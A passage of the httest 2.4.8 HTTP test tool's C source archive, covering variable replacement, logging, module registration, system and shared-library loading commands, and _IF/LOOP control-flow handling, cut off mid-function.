(appender->printer) { appender->printer(appender, mode, pos, thread, group, dir, custom, buf, len); } } httest-2.4.8/src/replacer.c0000664000175100017510000000665512203674076012540 00000000000000/** * Copyright 2006 Christian Liesch * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file * * @Author christian liesch * * Implementation of the HTTP Test Tool util. */ /************************************************************************ * Includes ***********************************************************************/ #include #include #include #include #include #include "defines.h" #include "replacer.h" /************************************************************************ * Definitions ***********************************************************************/ /************************************************************************ * Forward declaration ***********************************************************************/ /************************************************************************ * Implementation ***********************************************************************/ static int my_enhanced_function_detection(char *line, int i) { if (line[i] == ':') { int j = i; ++j; if (strchr(VAR_ALLOWED_CHARS, line[j])) { while (line[j] != 0 && strchr(VAR_ALLOWED_CHARS, line[j])) { ++j; } if (line[j] == '(') { while (line[j] != 0 && line[j] != ')') { ++j; } if (line[j] == ')') { ++j; } i = j; } } } else if (line[i] == '(') { while (line[i] != 0 && line[i] != ')') { ++i; } if (line[i] == ')') { ++i; } } return i; } /** * replace vars and functions in given line * @param p IN pool * @param line IN line where to replace the vars with values * @param udata IN user data * @param replacer IN replacer function * @return new line */ char *replacer(apr_pool_t * p, char *line, void *udata, replacer_f replace) { int i; int start; int line_end; char *var_name; char *new_line; const char *val; char open_curly_brace; char *next_dollar; new_line = line; if (!(next_dollar = strchr(line, '$'))) { return new_line; } i = next_dollar - line; while (line[i] != 0) { if (line[i] == '$') { line_end = i; ++i; if ((open_curly_brace = line[i]) == '{') { ++i; start = i; while(line[i] != 0 && line[i] != '}') { ++i; } } else { start = i; while (line[i] != 0 && strchr(VAR_ALLOWED_CHARS, line[i])) { ++i; } i = my_enhanced_function_detection(line, i); } var_name = apr_pstrndup(p, &line[start], i - start); val = replace(udata, var_name); if (val) { line[line_end] = 0; if (open_curly_brace == '{' && line[i] == '}') { ++i; } new_line = apr_pstrcat(p, line, val, &line[i], NULL); line = new_line; i = 0; } } if ((next_dollar = strchr(&line[i], '$'))) { i = next_dollar - line; } else { break; } } return new_line; } httest-2.4.8/src/body.h0000664000175100017510000000314012203674076011667 00000000000000/** * Copyright 2006 Christian Liesch * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file * * @Author christian liesch * * Interface of the HTTP Test Tool util. */ #ifndef HTTEST_BODY_H #define HTTEST_BODY_H apr_status_t worker_body(worker_t **body, worker_t *worker); void worker_body_end(worker_t *body, worker_t *worker); apr_status_t command_IF(command_t * self, worker_t * worker, char *data, apr_pool_t *ptmp); apr_status_t command_LOOP(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp); apr_status_t command_FOR(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp); apr_status_t command_BPS(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp); apr_status_t command_RPS(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp); apr_status_t command_SOCKET(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp); apr_status_t command_ERROR(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp); apr_status_t command_MILESTONE(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp); #endif httest-2.4.8/src/logger.c0000664000175100017510000001572012205040746012204 00000000000000/** * Copyright 2006 Christian Liesch * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file * * @Author christian liesch * * Implementation of the HTTP Test Tool logger. */ /************************************************************************ * Includes ***********************************************************************/ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "defines.h" #include "util.h" #include "replacer.h" #include "regex.h" #include "file.h" #include "transport.h" #include "socket.h" #include "worker.h" #include "logger.h" #include "appender.h" /************************************************************************ * Definitions ***********************************************************************/ typedef struct logger_entry_s { int lo_mode; int hi_mode; appender_t *appender; } logger_entry_t; struct logger_s { apr_pool_t *pool; int mode; int id; int group; apr_table_t *appenders; int lo_mode; int hi_mode; appender_t *appender; }; /************************************************************************ * Forward declaration ***********************************************************************/ static void logger_print(logger_t *logger, int mode, const char *pos, int thread, int group, char dir, const char *custom, const char *buf, apr_size_t len); /************************************************************************ * Implementation ***********************************************************************/ /** * Constructor for logger * @param pool IN pool * @param mode IN logger mode set outside * @param id IN thread id * @return logger */ logger_t *logger_new(apr_pool_t *pool, int mode, int id) { logger_t *logger = apr_pcalloc(pool, sizeof(*logger)); logger->mode = mode; logger->id = id; logger->pool = pool; logger->appenders = apr_table_make(pool, 5); return logger; } /** * Clone an existing logger * @param mode IN logger mode set outside * @param out IN output file descriptor * @param err IN output error file descriptor * @return logger */ logger_t *logger_clone(apr_pool_t *pool, logger_t *origin, int id) { logger_t *logger = logger_new(pool, origin->mode, id); logger->group = origin->group; logger->appender = origin->appender; logger->hi_mode = origin->hi_mode; logger->lo_mode = origin->lo_mode; logger->pool = pool; logger->appenders = apr_table_copy(pool, origin->appenders); return logger; } /** * Add an appender * @param logger IN instance * @param appender IN appender to add * @param name IN appender name * @param lo_mode IN the higgest mode * @param hi_mode IN the lowest mode */ void logger_set_appender(logger_t *logger, appender_t *appender, const char *name, int lo_mode, int hi_mode) { logger_entry_t *entry = apr_pcalloc(logger->pool, sizeof(*entry)); entry->lo_mode = lo_mode; entry->hi_mode = hi_mode; entry->appender = appender; apr_table_setn(logger->appenders, apr_pstrdup(logger->pool, name), (void *)entry); } /** * Delete given appender * @param logger IN instance * @param name IN name of appender to delete */ void logger_del_appender(logger_t *logger, const char *name) { apr_table_unset(logger->appenders, name); } /** * Set group id * @param logger IN logger instance * @param group IN group id */ void logger_set_group(logger_t *logger, int group) { logger->group = group; } static void logger_print(logger_t *logger, int mode, const char *pos, int thread, int group, char dir, const char *custom, const char *buf, apr_size_t len) { int i; apr_table_entry_t *e; e = (apr_table_entry_t *) apr_table_elts(logger->appenders)->elts; for (i = 0; i < apr_table_elts(logger->appenders)->nelts; ++i) { logger_entry_t *le = (void *)e[i].val; if (mode <= le->hi_mode && mode >= le->lo_mode) { appender_print(le->appender, mode, pos, logger->id, logger->group, dir, custom, buf, len); } } } /** * a simple log mechanisme with va args * @param logger IN thread data object * @param mode IN log mode * LOG_DEBUG for a lot of infos * LOG_INFO for much infos * LOG_ERR for only very few infos * @param fmt IN printf format string * @param va IN params for format strings as va_list */ void logger_log_va(logger_t * logger, int mode, const char *pos, char *fmt, va_list va) { if (logger->mode >= mode) { char *tmp; apr_pool_t *pool; apr_pool_create_unmanaged_ex(&pool, NULL, NULL); tmp = apr_pvsprintf(pool, fmt, va); logger_print(logger, mode, pos, logger->id, logger->group, '=', NULL, tmp, strlen(tmp)); apr_pool_destroy(pool); } } /** * log formated * @param worker IN thread data object * @param mode IN log mode * LOG_DEBUG for a lot of infos * LOG_INFO for much infos * LOG_ERR for only very few infos * @param fmt IN printf format string * @param ... IN params for format strings */ void logger_log(logger_t * logger, int log_mode, const char *pos, char *fmt, ...) { va_list va; va_start(va, fmt); logger_log_va(logger, log_mode, pos, fmt, va); va_end(va); } /** * a simple log buf mechanisme * @param logger IN thread data object * @param mode IN log mode * LOG_DEBUG for a lot of infos * LOG_INFO for much infos * LOG_ERR for only very few infos * @param dir IN <,>,+,= * @param buf IN buf to print (binary data allowed) * @param len IN buf len */ void logger_log_buf(logger_t * logger, int mode, char dir, const char *buf, apr_size_t len) { if (logger->mode >= mode) { if (buf && !len) { len = strlen(buf); } logger_print(logger, mode, NULL, logger->id, logger->group, dir, NULL, buf, len); } } /** * Set log mode * @param logger IN logger instance * @param mode IN log mode */ void logger_set_mode(logger_t *logger, int mode) { logger->mode = mode; } /** * Get log mode * @param logger IN logger instance */ int logger_get_mode(logger_t *logger) { return logger->mode; } httest-2.4.8/src/modules.c0000664000175100017510000000437012205604004012365 00000000000000/* Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "module.h" extern module_t modules[]; /* MODULES_DECLARATION */ apr_status_t body_init(global_t *global); apr_status_t xml_module_init(global_t *global); apr_status_t html_module_init(global_t *global); apr_status_t js_module_init(global_t *global); apr_status_t lua_module_init(global_t *global); apr_status_t dso_module_init(global_t *global); apr_status_t annotation_module_init(global_t *global); apr_status_t charset_module_init(global_t *global); apr_status_t perf_module_init(global_t *global); apr_status_t dbg_module_init(global_t *global); apr_status_t sys_module_init(global_t *global); apr_status_t math_module_init(global_t *global); apr_status_t coder_module_init(global_t *global); apr_status_t date_module_init(global_t *global); apr_status_t binary_module_init(global_t *global); apr_status_t websocket_module_init(global_t *global); apr_status_t socks_module_init(global_t *global); apr_status_t udp_module_init(global_t *global); apr_status_t tcp_module_init(global_t *global); apr_status_t ssl_module_init(global_t *global); module_t modules[] = { /* MODULES_REGISTRATION */ { body_init }, { xml_module_init }, { html_module_init }, { js_module_init }, { lua_module_init }, { dso_module_init }, { annotation_module_init }, { charset_module_init }, { perf_module_init }, { dbg_module_init }, { sys_module_init }, { math_module_init }, { coder_module_init }, { date_module_init }, { binary_module_init }, { websocket_module_init }, { socks_module_init }, { udp_module_init }, { tcp_module_init }, { ssl_module_init }, { NULL } }; httest-2.4.8/src/sys_module.c0000664000175100017510000001561512205142236013110 00000000000000/** * Copyright 2010 Christian Liesch * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file * * @Author christian liesch * * Implementation of the HTTP Test Tool sys module */ /************************************************************************ * Includes ***********************************************************************/ #include "module.h" /************************************************************************ * Definitions ***********************************************************************/ const char * sys_module = "sys_module"; typedef struct sys_gconf_s { apr_thread_mutex_t *sync; } sys_gconf_t; /************************************************************************ * Globals ***********************************************************************/ /************************************************************************ * Local ***********************************************************************/ /** * Get ssl config from global * * @param global IN global * @return ssl config */ static sys_gconf_t *sys_get_global_config(global_t *global) { sys_gconf_t *config = module_get_config(global->config, sys_module); if (config == NULL) { lock(global->mutex); config = module_get_config(global->config, sys_module); if (config == NULL) { config = apr_pcalloc(global->pool, sizeof(*config)); module_set_config(global->config, apr_pstrdup(global->pool, sys_module), config); if (apr_thread_mutex_create(&config->sync, APR_THREAD_MUTEX_DEFAULT, global->pool) != APR_SUCCESS) { config = NULL; } } unlock(global->mutex); } return config; } /************************************************************************ * Commands ***********************************************************************/ /** * WHICH command * * @param self IN command * @param worker IN thread data object * @param data IN varname * * @return APR_SUCCESS or apr error code */ static apr_status_t block_THREAD_GET_NUMBER(worker_t *worker, worker_t *parent, apr_pool_t *ptmp) { const char *copy; char *result; copy = store_get(worker->params, "1"); result = apr_psprintf(worker->pbody, "%d", worker->which); worker_var_set(parent, copy, result); return APR_SUCCESS; } /** * LOCK command * * @param self IN command * @param worker IN thread data object * @param data IN unused * * @return APR_SUCCESS or apr error code */ static apr_status_t block_PROC_LOCK(worker_t *worker, worker_t *parent, apr_pool_t *ptmp) { apr_status_t status; sys_gconf_t *gconf = sys_get_global_config(worker->global); if (gconf == NULL) { worker_log(worker, LOG_ERR, "Could not create lock mutex"); return APR_EGENERAL; } if ((status = apr_thread_mutex_lock(gconf->sync)) != APR_SUCCESS) { return status; } return APR_SUCCESS; } /** * UNLOCK command * * @param self IN command * @param worker IN thread data object * @param data IN unused * * @return APR_SUCCESS or apr error code */ static apr_status_t block_PROC_UNLOCK(worker_t *worker, worker_t *parent, apr_pool_t *ptmp) { apr_status_t status; sys_gconf_t *gconf = sys_get_global_config(worker->global); if (gconf == NULL) { worker_log(worker, LOG_ERR, "Could not create lock mutex"); return APR_EGENERAL; } if ((status = apr_thread_mutex_unlock(gconf->sync)) != APR_SUCCESS) { return status; } return APR_SUCCESS; } /** * PID command * * @param self IN command * @param worker IN thread data object * @param data IN variable * * @return APR_SUCCESS or apr error code */ static apr_status_t block_PROC_GET_PID(worker_t *worker, worker_t *parent, apr_pool_t *ptmp) { const char *copy = store_get(worker->params, "1"); worker_var_set(parent, copy, apr_psprintf(worker->pbody, "%u", getpid())); return APR_SUCCESS; } /** * DETACH command to run process in background * * @param self IN command * @param worker IN callee * @param parent IN caller * @param data IN * * @return APR_SUCCESS or apr error code */ static apr_status_t block_PROC_DETACH(worker_t *worker, worker_t *parent, apr_pool_t *ptmp) { return apr_proc_detach(1); } /** * Sleep for a given time (ms) * * @param self IN command * @param worker IN callee * @param parent IN caller * @param data IN * * @return APR_SUCCESS or apr error code */ static apr_status_t block_SYS_SLEEP(worker_t *worker, worker_t *parent, apr_pool_t *ptmp) { apr_status_t status; const char *copy = store_get(worker->params, "1"); if ((status = worker_flush(worker, ptmp)) != APR_SUCCESS) { return status; } apr_sleep(apr_atoi64(copy) * 1000); return APR_SUCCESS; } /************************************************************************ * Module ***********************************************************************/ apr_status_t sys_module_init(global_t *global) { apr_status_t status; if ((status = module_command_new(global, "THREAD", "_GET_NUMBER", "", "Stores the number of current thread", block_THREAD_GET_NUMBER)) != APR_SUCCESS) { return status; } if ((status = module_command_new(global, "PROC", "_LOCK", "", "Draws lock, for CLIENT/SERVER synchronization", block_PROC_LOCK)) != APR_SUCCESS) { return status; } if ((status = module_command_new(global, "PROC", "_UNLOCK", "", "Release lock, for CLIENT/SERVER synchronization", block_PROC_UNLOCK)) != APR_SUCCESS) { return status; } if ((status = module_command_new(global, "PROC", "_GET_PID", "", "Store PID into a ", block_PROC_GET_PID)) != APR_SUCCESS) { return status; } if ((status = module_command_new(global, "PROC", "_DETACH", "", "Detach process to background for daemonize", block_PROC_DETACH)) != APR_SUCCESS) { return status; } if ((status = module_command_new(global, "SYS", "_SLEEP", "", "Sleep for defined amount of time", block_SYS_SLEEP)) != APR_SUCCESS) { return status; } return APR_SUCCESS; } httest-2.4.8/src/dso_module.c0000664000175100017510000002216012205174226013054 00000000000000/** * Copyright 2010 Christian Liesch * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file * * @Author christian liesch * * Implementation of the HTTP Test Tool dso module */ /************************************************************************ * Includes ***********************************************************************/ #include #include "htt/dso.h" #include "module.h" /************************************************************************ * Definitions ***********************************************************************/ typedef struct dso_gconf_s { apr_hash_t *transport_objs; } dso_gconf_t; /************************************************************************ * Globals ***********************************************************************/ const char * dso_module = "dso_module"; /************************************************************************ * Local ***********************************************************************/ /** * Get stat config from global * * @param global IN * @return stat config */ static dso_gconf_t *dso_get_global_config(global_t *global) { dso_gconf_t *config = module_get_config(global->config, dso_module); if (config == NULL) { config = apr_pcalloc(global->pool, sizeof(*config)); config->transport_objs = apr_hash_make(global->pool); module_set_config(global->config, apr_pstrdup(global->pool, dso_module), config); } return config; } /** * Get os socket descriptor * @param data IN void pointer to socket * @param desc OUT os socket descriptor * @return apr status */ static apr_status_t dso_transport_os_desc_get(void *data, int *desc) { return APR_ENOTIMPL; } /** * Set timeout * @param data IN void pointer to socket * @param desc OUT os socket descriptor * @return apr status */ static apr_status_t dso_transport_set_timeout(void *data, apr_interval_time_t t) { return APR_SUCCESS; } /** * Set timeout * @param data IN void pointer to socket * @param desc OUT os socket descriptor * @return apr status */ static apr_status_t dso_transport_get_timeout(void *data, apr_interval_time_t *t) { return APR_SUCCESS; } /** * read from socket * @param data IN void pointer to socket * @param buf IN buffer * @param size INOUT buffer len * @return apr status */ static apr_status_t dso_transport_read(void *data, char *buf, apr_size_t *size) { transport_dso_t *transport_dso = data; return transport_dso->read(transport_dso->custom_handle(), buf, size); } /** * write to socket * @param data IN void pointer to socket * @param buf IN buffer * @param size INOUT buffer len * @return apr status */ static apr_status_t dso_transport_write(void *data, const char *buf, apr_size_t size) { transport_dso_t *transport_dso = data; return transport_dso->write(transport_dso->custom_handle(), buf, size); } /************************************************************************ * Commands ***********************************************************************/ /** * Load transport object so * @param worker IN callee * @param parent IN caller * @param ptmp IN temporary ptmp * @return status */ static apr_status_t block_LOAD_TRANSPORT_DSO(worker_t *worker, worker_t *parent, apr_pool_t *ptmp) { apr_status_t status; const char *path; const char *name; apr_dso_handle_t *dso; global_t *global = worker->global; dso_gconf_t *gconf = dso_get_global_config(global); if ((status = module_check_global(worker)) == APR_SUCCESS) { worker_log(worker, LOG_INFO, "LOAD_TRANSPORT_DSO"); path = store_get(worker->params, "1"); if (!path) { worker_log(worker, LOG_ERR, "Expect a path to shared library"); return APR_EINVAL; } name = store_get(worker->params, "2"); if (!name) { worker_log(worker, LOG_ERR, "Expect a unique name for this object"); return APR_EINVAL; } if ((status = apr_dso_load(&dso, path, global->pool)) != APR_SUCCESS) { char buf[BLOCK_MAX+1]; worker_log(worker, LOG_ERR, "Can not load \"%s\" library", path); apr_dso_error(dso, buf, BLOCK_MAX); worker_log_buf(worker, LOG_ERR, '+', buf, 0); return status; } apr_hash_set(gconf->transport_objs, apr_pstrdup(global->pool, name), APR_HASH_KEY_STRING, dso); } return status; } /** * Load transport object so * @param worker IN callee * @param parent IN caller * @param ptmp IN temporary ptmp * @return status */ static apr_status_t block_GET_TRANSPORT_OBJECT(worker_t *worker, worker_t *parent, apr_pool_t *ptmp) { apr_status_t status = APR_SUCCESS; const char *name; const char *sym; const char *config; transport_t *transport; apr_dso_handle_t *dso; apr_dso_handle_sym_t dso_sym; transport_dso_t *transport_dso; global_t *global = worker->global; dso_gconf_t *gconf = dso_get_global_config(global); name = store_get(worker->params, "1"); if (!name) { worker_log(worker, LOG_ERR, "Expect name loaded share library"); return APR_EINVAL; } if ((dso = apr_hash_get(gconf->transport_objs, name, APR_HASH_KEY_STRING)) == NULL) { worker_log(worker, LOG_ERR, "Requested share library not found"); return APR_EINVAL; } sym = store_get(worker->params, "2"); if (!sym) { worker_log(worker, LOG_ERR, "Expect a unique name for this object"); return APR_EINVAL; } if ((status = apr_dso_sym(&dso_sym, dso, sym)) != APR_SUCCESS) { worker_log(worker, LOG_ERR, "Can not load \"%s\" object", sym); return status; } transport_dso = (transport_dso_t *)dso_sym; config = store_get(worker->params, "3"); if (config) { if ((status = transport_dso->configure(transport_dso->custom_handle(), config)) != APR_SUCCESS) { worker_log(worker, LOG_ERR, "Configure failed, see logs of your dso module"); return status; } } /* build up a httest transport object */ transport = transport_new(transport_dso, worker->pbody, dso_transport_os_desc_get, dso_transport_set_timeout, dso_transport_get_timeout, dso_transport_read, dso_transport_write); worker_get_socket(worker, name, apr_pstrcat(global->pool, "000:", sym, NULL)); transport_register(worker->socket, transport); return status; } apr_status_t my_func(const char *string) { return APR_SUCCESS; } /** * call a dso function of type apr_status_t func(const char *string) * @param worker IN callee * @param parent IN caller * @param ptmp IN temporary ptmp * @return status */ static apr_status_t block_FUNC(worker_t *worker, worker_t *parent, apr_pool_t *ptmp) { apr_status_t status = APR_SUCCESS; const char *sym; const char *string; apr_dso_handle_t *dso; apr_dso_handle_sym_t dso_sym; func_dso_f func; global_t *global = worker->global; sym = store_get(worker->params, "1"); if (!sym) { worker_log(worker, LOG_ERR, "Expect function name"); return APR_EINVAL; } if ((status = apr_dso_load(&dso, NULL, global->pool)) != APR_SUCCESS) { worker_log(worker, LOG_ERR, "Can not load \"%s\" object", sym); return status; } if ((status = apr_dso_sym(&dso_sym, dso, sym)) != APR_SUCCESS) { worker_log(worker, LOG_ERR, "Can not call \"%s\" object", sym); return status; } func = (func_dso_f )dso_sym; string= store_get(worker->params, "2"); if (!string) { worker_log(worker, LOG_ERR, "Expect string to handover to function"); return APR_EINVAL; } return func(string); } /************************************************************************ * Module ***********************************************************************/ apr_status_t dso_module_init(global_t *global) { apr_status_t status; if ((status = module_command_new(global, "DSO", "LOAD_TRANSPORT_DSO", " ", "A shared library which implents an own transport object will be loaded.\n" "The dso is stored with a .", block_LOAD_TRANSPORT_DSO)) != APR_SUCCESS) { return status; } if ((status = module_command_new(global, "DSO", "_GET_TRANSPORT_OBJECT", " ", "Get transport object by its symbol name.", block_GET_TRANSPORT_OBJECT)) != APR_SUCCESS) { return status; } if ((status = module_command_new(global, "DSO", "_FUNC", " ", "The dso function is of type \'apr_status_t func(const char *string)\'.", block_FUNC)) != APR_SUCCESS) { return status; } return APR_SUCCESS; } httest-2.4.8/src/body.c0000664000175100017510000005174112203674076011674 00000000000000/** * Copyright 2006 Christian Liesch * * fooLicensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file * * @Author christian liesch * * Implementation of the HTTP Test Tool body */ /* affects include files on Solaris */ #define BSD_COMP /************************************************************************ * Includes ***********************************************************************/ #ifdef HAVE_CONFIG_H #include #endif #include "defines.h" #include #include #include #include #include #include #include #include #include #include #if APR_HAVE_UNISTD_H #include /* for getpid() */ #endif #include "worker.h" #include "eval.h" #include "regex.h" #include "util.h" #include "body.h" #include "module.h" /************************************************************************ * Defines ***********************************************************************/ /************************************************************************ * Structurs ***********************************************************************/ typedef struct milestone_s { int failures; int milestones; apr_status_t status; } milestone_t; /************************************************************************ * Globals ***********************************************************************/ extern command_t global_commands[]; extern command_t local_commands[]; /************************************************************************ * Private ***********************************************************************/ /** * Lookup function * * @param line IN line where the command resides * * @return command index */ static command_t *lookup_command(command_t *commands, const char *line) { int k; apr_size_t len; k = 0; /* lookup command function */ while (commands[k].name) { len = strlen(commands[k].name); if (len <= strlen(line) && strncmp(line, commands[k].name, len) == 0) { break; } ++k; } return &commands[k]; } /************************************************************************ * Public ***********************************************************************/ /** * Clone and copy a body of lines * * @param body OUT body which has been copied * @param worker IN worker from which we copy the lines for body * @param end IN this bodys terminate string * * @return APR_SUCCESS */ apr_status_t worker_body(worker_t **body, worker_t *worker) { char *file_and_line; char *line = ""; apr_table_entry_t *e; apr_pool_t *p; char *end; int ends; int end_len; apr_pool_create(&p, NULL); end = apr_pstrdup(p, "_END"); end_len = strlen(end); ends = 1; (*body) = apr_pcalloc(p, sizeof(worker_t)); memcpy(*body, worker, sizeof(worker_t)); (*body)->heartbeat = p; /* fill lines */ (*body)->lines = apr_table_make(p, 20); e = (apr_table_entry_t *) apr_table_elts(worker->lines)->elts; for (worker->cmd += 1; worker->cmd < apr_table_elts(worker->lines)->nelts; worker->cmd++) { command_t *command; file_and_line = e[worker->cmd].key; line = e[worker->cmd].val; command = lookup_command(local_commands, line); if (command && command->flags & COMMAND_FLAGS_BODY) { ++ends; worker_log(worker, LOG_DEBUG, "Increment bodies: %d for line %s", ends, line); } if (ends == 1 && strlen(line) >= end_len && strncmp(line, end, end_len) == 0) { break; } else if (strlen(line) >= end_len && strncmp(line, end, end_len) == 0) { --ends; worker_log(worker, LOG_DEBUG, "Decrement bodies: %d for line %s", ends, line); } apr_table_addn((*body)->lines, file_and_line, line); } /* check for end */ if (strlen(line) < end_len || strncmp(line, end, end_len) != 0) { worker_log(worker, LOG_ERR, "Interpreter failed: no %s found", end); return APR_EGENERAL; } return APR_SUCCESS; } /** * Close a body * * @param body IN body which has been copied * @param worker IN worker from which we copy the lines for body */ void worker_body_end(worker_t *body, worker_t *worker) { worker->flags = body->flags; /* write back sockets and state */ worker->socket = body->socket; worker->listener = body->listener; /* destroy body */ worker_destroy(body); } /** finde _ELSE in cascaded if statments * * @param worker IN thread data object * @param else_pos OUT position of else * * @return apr_status */ static apr_status_t worker_where_is_else(worker_t *worker, int *else_pos) { char *line; char *end; int end_len; char *kind; int kind_len; char *my_else; int my_else_len; int ends; apr_table_entry_t *e; *else_pos = 0; end = "_END"; end_len = strlen(end); kind = "_IF"; kind_len = strlen(kind); my_else = "_ELSE"; my_else_len = strlen(kind); ends = 1; e = (apr_table_entry_t *) apr_table_elts(worker->lines)->elts; for (worker->cmd = 0; worker->cmd < apr_table_elts(worker->lines)->nelts; worker->cmd++) { line = e[worker->cmd].val; /* count numbers of same kinds to include all their ends */ if (strlen(line) >= kind_len && strncmp(line, kind, kind_len) == 0) { ++ends; worker_log(worker, LOG_DEBUG, "Increment: %d for line %s", ends, line); } /* check end and if it is our end */ if (ends == 1 && strlen(line) >= my_else_len && strncmp(line, my_else, my_else_len) == 0) { worker_log(worker, LOG_DEBUG, "Found _ELSE in line %d", worker->cmd); *else_pos = worker->cmd; return APR_SUCCESS; break; } /* no is not our end, decrement ends */ else if (strlen(line) >= end_len && strncmp(line, end, end_len) == 0) { --ends; worker_log(worker, LOG_DEBUG, "Decrement: %d for line %s", ends, line); } } worker_log(worker, LOG_DEBUG, "No _ELSE found"); return APR_ENOENT; } /** * If statement (not implemented yet) * * @param self IN command object * @param worker IN thread data object * @param data IN expression * * @return an apr status */ apr_status_t command_IF(command_t * self, worker_t * worker, char *data, apr_pool_t *ptmp) { char *copy; apr_status_t status; worker_t *body; int doit = 0; int not = 0; int else_pos = 0; COMMAND_NEED_ARG("Need left operant right parameters or an condition"); if (copy[0] == '(') { /* expression evaluation */ apr_size_t len; long val; math_eval_t *math = math_eval_make(ptmp); ++copy; len = strlen(copy); if (len < 1) { worker_log(worker, LOG_ERR, "Empty condition"); return APR_EINVAL; } copy[len-1] = 0; if ((status = math_evaluate(math, copy, &val)) != APR_SUCCESS) { worker_log(worker, LOG_ERR, "Invalid condition"); return status; } doit = val; } else { /* old behavour */ char *left; char *right; apr_ssize_t left_val; apr_ssize_t right_val; char *middle; const char *err; int off; htt_regex_t *compiled; apr_size_t len; char **argv; int i = 0; my_tokenize_to_argv(copy, &argv, ptmp, 0); left = argv[i]; i++; middle = argv[i]; i++; if (strcmp(middle, "NOT") == 0) { not = 1; middle = argv[i]; i++; } right = argv[i]; if (!left || !middle || !right) { worker_log(worker, LOG_ERR, "%s: Syntax error '%s'", self->name, data); return APR_EGENERAL; } if (right[0] == '!') { not = 1; ++right; } if (strcmp(middle, "MATCH") == 0) { if (!(compiled = htt_regexcomp(ptmp, right, &err, &off))) { worker_log(worker, LOG_ERR, "IF MATCH regcomp failed: %s", right); return APR_EINVAL; } len = strlen(left); if ((htt_regexec(compiled, left, len, 0, NULL, PCRE_MULTILINE) == 0 && !not) || (htt_regexec(compiled, left, len, 0, NULL, PCRE_MULTILINE) != 0 && not)) { doit = 1; } } else if (strcmp(middle, "EQUAL") == 0) { if (strcmp(left, right) == 0) { if (!not) { doit = 1; } else { if (not) { doit = 0; } } } else { if (not) { doit = 1; } } } else { left_val = apr_atoi64(left); right_val = apr_atoi64(right); if (strcmp(middle, "EQ") == 0) { if ((left_val == right_val && !not) || (left_val != right_val && not)) { doit = 1; } } else if (strcmp(middle, "LT") == 0) { if ((left_val < right_val && !not) || (left_val >= right_val && not)) { doit = 1; } } else if (strcmp(middle, "GT") == 0) { if ((left_val > right_val && !not) || (left_val <= right_val && not)) { doit = 1; } } else if (strcmp(middle, "LE") == 0) { if ((left_val <= right_val && !not) || (left_val > right_val && not)) { doit = 1; } } else if (strcmp(middle, "GE") == 0) { if ((left_val >= right_val && !not) || (left_val < right_val && not)) { doit = 1; } } } } if ((status = worker_body(&body, worker)) != APR_SUCCESS) { return status; } /* now split _IF body on _ELSE */ if (worker_where_is_else(body, &else_pos) == APR_SUCCESS) { /* found _ELSE */ if (doit) { body->cmd_from = 0; body->cmd_to = else_pos; status = body->interpret(body, worker, NULL); worker_log(worker, LOG_CMD, "_ELSE"); } else { worker_log(worker, LOG_CMD, "_ELSE"); body->cmd_from = else_pos + 1; body->cmd_to = 0; status = body->interpret(body, worker, NULL); } } else { /* did not found _ELSE */ if (doit) { body->cmd_from = 0; body->cmd_to = 0; status = body->interpret(body, worker, NULL); } } worker_log(worker, LOG_CMD, "_END"); worker_body_end(body, worker); return status; } /** * LOOP command * * @param self IN command * @param worker IN thread data object * @param data IN |FOREVER * * @return APR_SUCCESS */ apr_status_t command_LOOP(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp) { apr_status_t status; worker_t *body; char *copy; int loop; char **argv; int i; char *var; char *last; apr_time_t duration = 0; apr_time_t start; int initial = 0; COMMAND_NEED_ARG("[s|ms]|FOREVER [[=]]"); my_tokenize_to_argv(copy, &argv, ptmp, 0); if 